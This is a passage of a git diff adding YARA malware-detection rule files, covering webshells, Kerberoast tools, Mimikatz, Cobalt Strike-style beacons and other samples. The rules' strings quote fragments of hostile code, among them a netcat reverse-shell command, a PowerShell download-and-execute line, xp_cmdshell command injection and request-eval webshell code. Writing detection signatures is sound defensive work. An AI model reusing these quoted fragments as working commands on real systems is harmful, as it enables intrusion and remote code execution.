+        $s3 = "sprintf('%s?%s',pack(\"H*\"," ascii
+        $s4 = "if(empty($_SESSION['api']))" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule Txt_aspx1 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspx1.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+    strings:
+        $s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item["
+        $s1 = "],\"unsafe\");%>" fullword ascii
+    condition:
+        filesize < 150 and all of them
+}
+
+rule Txt_shell {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file shell.c"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "8342b634636ef8b3235db0600a63cc0ce1c06b62"
+    strings:
+        $s1 = "printf(\"Could not connect to remote shell!\\n\");" fullword ascii
+        $s2 = "printf(\"Usage: %s <reflect ip> <port>\\n\", prog);" fullword ascii
+        $s3 = "execl(shell,\"/bin/sh\",(char *)0);" fullword ascii
+        $s4 = "char shell[]=\"/bin/sh\";" fullword ascii
+        $s5 = "connect back door\\n\\n\");" fullword ascii
+    condition:
+        filesize < 2KB and 2 of them
+}
+
+rule Txt_asp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file asp.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "a63549f749f4d9d0861825764e042e299e06a705"
+    strings:
+        $s1 = "Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next:BodyCol" ascii
+        $s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 100KB and all of them
+}
+
+rule Txt_asp1 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file asp1.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "95934d05f0884e09911ea9905c74690ace1ef653"
+    strings:
+        $s1 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
+        $s2 = "autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)" fullword ascii
+        $s3 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
+        $s4 = "szTempFile = server.mappath(\"cmd.txt\")" fullword ascii
+    condition:
+        filesize < 70KB and 2 of them
+}
+
+rule Txt_php_2 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file php.html"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "a7d5fcbd39071e0915c4ad914d31e00c7127bcfc"
+    strings:
+        $s1 = "function connect($dbhost, $dbuser, $dbpass, $dbname='') {" fullword ascii
+        $s2 = "scookie('loginpass', '', -86400 * 365);" fullword ascii
+        $s3 = "<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>" fullword ascii
+        $s4 = "Powered by <a title=\"Build 20130112\" href=\"http://www.4ngel.net\" target=\"_b" ascii
+        $s5 = "formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\\'shell\\',null,this." ascii
+        $s6 = "secparam('IP Configurate',execute('ipconfig -all'));" fullword ascii
+        $s7 = "secparam('Hosts', @file_get_contents('/etc/hosts'));" fullword ascii
+        $s8 = "p('<p><a href=\"http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/\" target=" ascii
+    condition:
+        filesize < 100KB and 4 of them
+}
+
+rule Txt_ftp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file ftp.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "3495e6bcb5484e678ce4bae0bd1a420b7eb6ad1d"
+    strings:
+        $s1 = "';exec master.dbo.xp_cmdshell 'echo open " ascii
+        $s2 = "';exec master.dbo.xp_cmdshell 'ftp -s:';" ascii
+        $s3 = "';exec master.dbo.xp_cmdshell 'echo get lcx.exe" ascii
+        $s4 = "';exec master.dbo.xp_cmdshell 'echo get php.exe" ascii
+        $s5 = "';exec master.dbo.xp_cmdshell 'copy " ascii
+        $s6 = "ftp -s:d:\\ftp.txt " fullword ascii
+        $s7 = "echo bye>>d:\\ftp.txt " fullword ascii
+    condition:
+        filesize < 2KB and 2 of them
+}
+
+rule Txt_lcx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file lcx.c"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "ddb3b6a5c5c22692de539ccb796ede214862befe"
+    strings:
+        $s1 = "printf(\"Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-l" ascii
+        $s2 = "sprintf(tmpbuf2,\"\\r\\n########### reply from %s:%d ####################\\r\\n" ascii
+        $s3 = "printf(\" 3: connect to HOST1:PORT1 and HOST2:PORT2\\r\\n\");" fullword ascii
+        $s4 = "printf(\"got,ip:%s,port:%d\\r\\n\",inet_ntoa(client1.sin_addr),ntohs(client1.sin" ascii
+        $s5 = "printf(\"[-] connect to host1 failed\\r\\n\");" fullword ascii
+    condition:
+        filesize < 25KB and 2 of them
+}
+
+rule Txt_jspcmd {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file jspcmd.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "1d4e789031b15adde89a4628afc759859e53e353"
+    strings:
+        $s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+        $s4 = "out.print(\"Hi,Man 2015\");" fullword ascii
+    condition:
+        filesize < 1KB and 1 of them
+}
+
+rule Txt_jsp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file jsp.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "74518faf08637c53095697071db09d34dbe8d676"
+    strings:
+        $s1 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+        $s2 = "Process pro = Runtime.getRuntime().exec(exe);" fullword ascii
+        $s3 = "<option value=\\\"nc -e cmd.exe 192.168.230.1 4444\\\">nc</option>\"" fullword ascii
+        $s4 = "cmd = \"cmd.exe /c set\";" fullword ascii
+    condition:
+        filesize < 715KB and 2 of them
+}
+
+rule Txt_aspxlcx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspxlcx.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "453dd3160db17d0d762e032818a5a10baf234e03"
+    strings:
+        $s1 = "public string remoteip = " ascii
+        $s2 = "=Dns.Resolve(host);" ascii
+        $s3 = "public string remoteport = " ascii
+        $s4 = "public class PortForward" ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 18KB and all of them
+}
+
+rule Txt_xiao {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file xiao.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "b3b98fb57f5f5ccdc42e746e32950834807903b7"
+    strings:
+        $s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+        $s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+        $s3 = "conn.Execute(\"Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED," ascii
+        $s4 = "function Command(cmd, str){" fullword ascii
+        $s5 = "echo \"if(obj.value=='PageWebProxy')obj.form.target='_blank';\"" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule Txt_aspx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspx.jpg"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "ce24e277746c317d887139a0d71dd250bfb0ed58"
+    strings:
+        $s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+        $s2 = "Process[] p=Process.GetProcesses();" fullword ascii
+        $s3 = "Copyright &copy; 2009 Bin" ascii
+        $s4 = "<td colspan=\"5\">CmdShell&nbsp;&nbsp;:&nbsp;<input class=\"input\" runat=\"serv" ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule Txt_Sql {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file Sql.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "f7813f1dfa4eec9a90886c80b88aa38e2adc25d5"
+    strings:
+        $s1 = "cmd=chr(34)&\"cmd.exe /c \"&request.form(\"cmd\")&\" > 8617.tmp\"&chr(34)" fullword ascii
+        $s2 = "strQuery=\"dbcc addextendedproc ('xp_regwrite','xpstar.dll')\"" fullword ascii
+        $s3 = "strQuery = \"exec master.dbo.xp_cmdshell '\" & request.form(\"cmd\") & \"'\" " fullword ascii
+        $s4 = "session(\"login\")=\"\"" fullword ascii
+    condition:
+        filesize < 15KB and all of them
+}
+
+rule Txt_hello {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file hello.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "697a9ebcea6a22a16ce1a51437fcb4e1a1d7f079"
+    strings:
+        $s0 = "Dim myProcessStartInfo As New ProcessStartInfo(\"cmd.exe\")" fullword ascii
+        $s1 = "myProcessStartInfo.Arguments=\"/c \" & Cmd.text" fullword ascii
+        $s2 = "myProcess.Start()" fullword ascii
+        $s3 = "<p align=\"center\"><a href=\"?action=cmd\" target=\"_blank\">" fullword ascii
+    condition:
+        filesize < 25KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_deviceguard_evasion.yar b/yara-mikesxrs/Florian Roth/gen_deviceguard_evasion.yar
new file mode 100644
index 0000000..53bad63
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_deviceguard_evasion.yar	
@@ -0,0 +1,13 @@
+rule DeviceGuard_WDS_Evasion {
+   meta:
+      author = "Florian Roth"
+      description = "Detects WDS file used to circumvent Device Guard"
+      score = 80
+      reference = "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+   strings:
+      $s1 = "r @$ip=@$t0" ascii fullword
+      $s2 = ";eb @$t0+" ascii
+      $s3 = ".foreach /pS" ascii fullword
+   condition:
+      filesize < 50KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_faked_versions.yar b/yara-mikesxrs/Florian Roth/gen_faked_versions.yar
new file mode 100644
index 0000000..cd6bbe3
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_faked_versions.yar	
@@ -0,0 +1,29 @@
+rule Fake_AdobeReader_EXE
+    {
+    meta:
+        description = "Detects an fake AdobeReader executable based on filesize OR missing strings in file"
+        date = "2014-09-11"
+        author = "Florian Roth"
+        score = 50
+    strings:
+        $s1 = "Adobe Systems" ascii
+    condition:
+        uint16(0) == 0x5a4d and 
+        filename matches /AcroRd32.exe/i and 
+        not $s1 in (filesize-2500..filesize) 
+}
+
+rule Fake_FlashPlayerUpdaterService_EXE
+    {
+    meta:
+        description = "Detects an fake AdobeReader executable based on filesize OR missing strings in file"
+        date = "2014-09-11"
+        author = "Florian Roth"
+        score = 50
+    strings:
+        $s1 = "Adobe Systems Incorporated" ascii
+    condition:
+        uint16(0) == 0x5a4d and 
+        filename matches /FlashPlayerUpdateService.exe/i and 
+        not $s1 in (filesize-2500..filesize) 
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_gpp_cpassword.yar b/yara-mikesxrs/Florian Roth/gen_gpp_cpassword.yar
new file mode 100644
index 0000000..6888418
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_gpp_cpassword.yar	
@@ -0,0 +1,19 @@
+
+rule Groups_cpassword {
+    meta:
+        description = "Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P"
+        author = "Florian Roth"
+        reference = "http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/"
+        date = "2015-09-08"
+        score = 50
+    strings:
+        $s1 = / cpassword=\"[^\"]/ ascii
+        $s2 = " changeLogon=" ascii
+        $s3 = " description=" ascii
+        $s4 = " acctDisabled=" ascii
+    condition:
+        uint32be(0) == 0x3C3F786D  /* <?xm */
+        and filesize < 1000KB
+        and all of ($s*)  
+}
+
diff --git a/yara-mikesxrs/Florian Roth/gen_invoke_mimikatz.yar b/yara-mikesxrs/Florian Roth/gen_invoke_mimikatz.yar
new file mode 100644
index 0000000..d2c57b4
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_invoke_mimikatz.yar	
@@ -0,0 +1,20 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-19
+	Identifier: Invoke-Mimikatz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_Mimikatz {
+	meta:
+		description = "Detects Invoke-Mimikatz String"
+		author = "Florian Roth"
+		reference = "https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz"
+		date = "2016-08-03"
+	strings:
+		$x1 = "Invoke-Mimikatz" wide fullword
+	condition:
+      1 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_kerberoast.yar b/yara-mikesxrs/Florian Roth/gen_kerberoast.yar
new file mode 100644
index 0000000..9f4d3fc
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_kerberoast.yar	
@@ -0,0 +1,53 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-21
+	Identifier: Kerberoast
+*/
+
+rule GetUserSPNs_VBS {
+	meta:
+		description = "Auto-generated rule - file GetUserSPNs.vbs"
+		author = "Florian Roth"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "8dcb568d475fd8a0557e70ca88a262b7c06d0f42835c855b52e059c0f5ce9237"
+	strings:
+		$s1 = "Wscript.Echo \"User Logon: \" & oRecordset.Fields(\"samAccountName\")" fullword ascii
+		$s2 = "Wscript.Echo \" USAGE:        \" & WScript.ScriptName & \" SpnToFind [GC Servername or Forestname]\"" fullword ascii
+		$s3 = "strADOQuery = \"<\" + strGCPath + \">;(&(!objectClass=computer)(servicePrincipalName=*));\" & _" fullword ascii
+	condition:
+		2 of them
+}
+
+rule GetUserSPNs_PS1 {
+	meta:
+		description = "Auto-generated rule - file GetUserSPNs.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "1b69206b8d93ac86fe364178011723f4b1544fff7eb1ea544ab8912c436ddc04"
+	strings:
+		$s1 = "$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()" fullword ascii
+		$s2 = "@{Name=\"PasswordLastSet\";      Expression={[datetime]::fromFileTime($result.Properties[\"pwdlastset\"][0])} } #, `" fullword ascii
+		$s3 = "Write-Host \"No Global Catalogs Found!\"" fullword ascii
+		$s4 = "$searcher.PropertiesToLoad.Add(\"pwdlastset\") | Out-Null" fullword ascii
+	condition:
+		2 of them
+}
+
+rule kerberoast_PY {
+	meta:
+		description = "Auto-generated rule - file kerberoast.py"
+		author = "Florian Roth"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "73155949b4344db2ae511ec8cab85da1ccbf2dfec3607fb9acdc281357cdf380"
+	strings:
+		$s1 = "newencserverticket = kerberos.encrypt(key, 2, encoder.encode(decserverticket), nonce)" fullword ascii
+		$s2 = "key = kerberos.ntlmhash(args.password)" fullword ascii
+		$s3 = "help='the password used to decrypt/encrypt the ticket')" fullword ascii
+      $s4 = "newencserverticket = kerberos.encrypt(key, 2, e, nonce)" fullword ascii
+	condition:
+		2 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_kirbi_mimkatz.yar b/yara-mikesxrs/Florian Roth/gen_kirbi_mimkatz.yar
new file mode 100644
index 0000000..538c3a7
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_kirbi_mimkatz.yar	
@@ -0,0 +1,22 @@
+/*
+	Yara Rule Set
+	Author: Didier Stevens
+	Date: 2016-08-13
+	Identifier: KiRBi ticket for mimikatz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule mimikatz_kirbi_ticket
+{
+	meta:
+		description		= "KiRBi ticket for mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi); Didier Stevens"
+
+	strings:
+		$asn1			= { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
+		$asn1_84		= { 76 84 ?? ?? ?? ?? 30 84 ?? ?? ?? ?? a0 84 00 00 00 03 02 01 05 a1 84 00 00 00 03 02 01 16 }
+
+	condition:
+		$asn1 at 0 or $asn1_84 at 0
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_malware_set_qa.yar b/yara-mikesxrs/Florian Roth/gen_malware_set_qa.yar
new file mode 100644
index 0000000..b3ddfa3
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_malware_set_qa.yar	
@@ -0,0 +1,189 @@
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-29
+	Identifier: VT Research QA Malware
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+/* This rule can only be used with THOR or LOKI due to the external variable 'filename' */
+
+rule Malware_QA_update_test {
+	meta:
+		description = "VT Research QA uploaded malware - file update_.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "3b3392bc730ded1f97c51e23611740ff8b218abf0a1100903de07819eeb449aa"
+	strings:
+		$s1 = "test.exe" fullword ascii
+		$s2 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them and filename == "update.exe"
+}
+
+/* Rules that can be used in any tool with YARA support */
+
+rule Malware_QA_not_copy {
+	meta:
+		description = "VT Research QA uploaded malware - file not copy.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "1410f38498567b64a4b984c69fe4f2859421e4ac598b9750d8f703f1d209f836"
+	strings:
+		$x1 = "U2VydmVyLmV4ZQ==" fullword wide /* base64 encoded string 'Server.exe' */
+		$x2 = "\\not copy\\obj\\Debug\\not copy.pdb" ascii
+		$x3 = "fuckyou888.ddns.net" fullword wide
+
+		$s1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
+		$s2 = "Server.exe" fullword wide
+		$s3 = "Execute ERROR" fullword wide
+		$s4 = "not copy.exe" fullword wide
+		$s5 = "Non HosT" fullword wide
+		$s6 = "netsh firewall delete allowedprogram" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 4 of ($s*) ) )
+		or ( 5 of them )
+}
+
+rule Malware_QA_fil {
+	meta:
+		description = "VT Research QA uploaded malware - often MS:W32.Bladabindi / McAfee:Trojan-FIGN"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 60
+		hash1 = "c62f0c20278a0f5bce94ccc4904c1c445927306203adfd21ee2f65f765d86262"
+		hash2 = "bb9fbef7eb60dca3d2bdd041809cd1fe9d823178f2f34564c89228f9c87c6629"
+	strings:
+		$x1 = "ClassLibrary1.exe" fullword ascii
+
+		$s2 = "get_ShiftKeyDown" fullword ascii
+		$s3 = "get_CapsLock" fullword ascii
+		$s4 = "get_OSFullName" fullword ascii
+		$s5 = "get_ClassesRoot" fullword ascii
+		$s6 = "CompareObjectEqual" fullword ascii
+		$s7 = "LogsPath" fullword ascii
+		$s8 = "PPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDIN" ascii
+		$s9 = "SuppressIldasmAttribute" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) or 4 of ($s*) ) )
+}
+
+rule Malware_QA_update {
+	meta:
+		description = "VT Research QA uploaded malware - file update.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541"
+		hash2 = "6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e"
+	strings:
+		$x1 = "UnActiveOfflineKeylogger" fullword ascii
+		$x2 = "BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir...|" fullword ascii
+		$x3 = "ActiveOnlineKeylogger" fullword ascii
+		$x4 = "C:\\Users\\DarkCoderSc\\" ascii
+		$x5 = "Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
+		$x6 = "BTRESULTUpdate from URL|Update : File Downloaded , Executing new one in temp dir...|" fullword ascii
+
+		$s1 = "MSRSAAP.EXE" fullword wide
+		$s2 = "Command successfully executed!|" fullword ascii
+		$s3 = "BTMemoryLoadLibary: Get DLLEntyPoint failed" fullword ascii
+		$s4 = "I wasn't able to open the hosts file, maybe because UAC is enabled in remote computer!" fullword ascii
+		$s5 = "\\Internet Explorer\\iexplore.exe" fullword ascii
+		$s6 = "ping 127.0.0.1 -n 4 > NUL && \"" fullword ascii
+		$s7 = "BTMemoryGetProcAddress: DLL doesn't export anything" fullword ascii
+		$s8 = "POST /index.php/1.0" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 3000KB and ( 1 of ($x*) or 3 of ($s*) ) )
+		or ( all of them )
+}
+
+rule Malware_QA_tls {
+	meta:
+		description = "VT Research QA uploaded malware - file tls.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "f06d1f2bee2eb6590afbfa7f011ceba9bd91ba31cdc721bc728e13b547ac9370"
+	strings:
+		$s1 = "\\funoverip\\ultimate-payload-template1\\" ascii
+		$s2 = "ULTIMATEPAYLOADTEMPLATE1" fullword wide
+		$s3 = "ultimate-payload-template1" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them ) or ( all of them )
+}
+
+rule Malware_QA_get_The_FucKinG_IP {
+	meta:
+		description = "VT Research QA uploaded malware - file get The FucKinG IP.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "7b2c04e384919075be96e3412d92c14fc1165d1bc7556fd207488959c5c4d2f7"
+	strings:
+		$x1 = "C:\\Users\\Mdram ahmed\\AppData"
+		$x2 = "\\Local\\Temporary Projects\\get The FucKinG IP\\" ascii
+		$x3 = "get The FucKinG IP.exe" fullword wide
+		$x4 = "get ip by mdr3m" fullword wide
+		$x5 = "MDR3M kik: Mdr3mhm" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule Malware_QA_vqgk {
+	meta:
+		description = "VT Research QA uploaded malware - file vqgk.dll"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
+	strings:
+		$x1 = "Z:\\devcenter\\aggressor\\external" ascii
+		$x2 = "\\beacon\\Release\\beacon.pdb" fullword ascii
+		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+		$x4 = "%d is an x64 process (can't inject x86 content)" fullword ascii
+
+		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		$s2 = "Could not open process token: %d (%u)" fullword ascii
+		$s3 = "\\\\%s\\pipe\\msagent_%x" fullword ascii
+		$s4 = "\\sysnative\\rundll32.exe" fullword ascii
+		$s5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+		$s6 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+		$s7 = "could not write to process memory: %d" fullword ascii
+		$s8 = "beacon.dll" fullword ascii
+		$s9 = "Failed to impersonate token from %d (%u)" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 5 of ($s*) ) ) or ( 7 of them )
+}
+
+rule Malware_QA_1177 {
+	meta:
+		description = "VT Research QA uploaded malware - file 1177.vbs"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "ff3a2740330a6cbae7888e7066942b53015728c367cf9725e840af5b2a3fa247"
+	strings:
+		$x1 = ".specialfolders (\"startup\") & \"\\ServerName.EXE\"" fullword ascii
+		$x2 = "expandenvironmentstrings(\"%%InsallDir%%\") " ascii
+
+		$s1 = "CreateObject(\"WScript.Shell\").Run(" ascii
+		$s2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAA" ascii
+		$s3 = "cial Thank's to Dev-point.com" fullword ascii
+		$s4 = ".createElement(\"tmp\")" fullword ascii
+		$s5 = "'%CopyToStartUp%" fullword ascii
+	condition:
+		( uint16(0) == 0x4d27 and filesize < 100KB and ( 1 of ($x*) or 4 of ($s*) ) )
+		or ( 5 of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_metasploit_loader_rsmudge.yar b/yara-mikesxrs/Florian Roth/gen_metasploit_loader_rsmudge.yar
new file mode 100644
index 0000000..f556696
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_metasploit_loader_rsmudge.yar	
@@ -0,0 +1,25 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-04-20
+	Identifier: Metasploit Loader
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Metasploit_Loader_RSMudge {
+	meta:
+		description = "Detects a Metasploit Loader by RSMudge - file loader.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/rsmudge/metasploit-loader"
+		date = "2016-04-20"
+		hash1 = "afe34bfe2215b048915b1d55324f1679d598a0741123bc24274d4edc6e395a8d"
+	strings:
+		$s1 = "Could not resolve target" fullword ascii
+		$s2 = "Could not connect to target" fullword ascii
+		$s3 = "%s [host] [port]" fullword ascii
+		$s4 = "ws2_32.dll is out of date." fullword ascii
+		$s5 = "read a strange or incomplete length value" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 3 of ($s*) ) ) or ( all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_mimikittenz.yar b/yara-mikesxrs/Florian Roth/gen_mimikittenz.yar
new file mode 100644
index 0000000..2022423
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_mimikittenz.yar	
@@ -0,0 +1,27 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-19
+	Identifier: Mimikittenz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_mimikittenz {
+	meta:
+		description = "Detects Mimikittenz - file Invoke-mimikittenz.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/putterpanda/mimikittenz"
+		date = "2016-07-19"
+		score = 90
+		hash1 = "14e2f70470396a18c27debb419a4f4063c2ad5b6976f429d47f55e31066a5e6a"
+	strings:
+		$x1 = "[mimikittenz.MemProcInspector]" ascii
+
+		$s1 = "PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION |" fullword ascii
+		$s2 = "IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);" fullword ascii
+		$s3 = "&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=" ascii
+		$s4 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" fullword ascii
+	condition:
+		( uint16(0) == 0x7566 and filesize < 60KB and 2 of them ) or $x1
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_nopowershell.yar b/yara-mikesxrs/Florian Roth/gen_nopowershell.yar
new file mode 100644
index 0000000..6e5570f
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_nopowershell.yar	
@@ -0,0 +1,21 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-05-21
+	Identifier: No PowerShell
+*/
+
+rule No_PowerShell {
+	meta:
+		description = "Detects an C# executable used to circumvent PowerShell detection - file nps.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/Ben0xA/nps"
+		date = "2016-05-21"
+		score = 80
+		hash1 = "64f811b99eb4ae038c88c67ee0dc9b150445e68a2eb35ff1a0296533ae2edd71"
+	strings:
+		$s1 = "nps.exe -encodedcommand {base64_encoded_command}" fullword wide
+		$s2 = "c:\\Development\\ghps\\nps\\nps\\obj\\x86\\Release\\nps.pdb" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and ( 1 of ($s*) ) ) or ( all of them )
+}
diff --git a/yara-mikesxrs/Florian Roth/gen_pirpi.yar b/yara-mikesxrs/Florian Roth/gen_pirpi.yar
new file mode 100644
index 0000000..6c94480
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_pirpi.yar	
@@ -0,0 +1,61 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-08
+	Identifier: Pirpi
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Pirpi_1609_A {
+	meta:
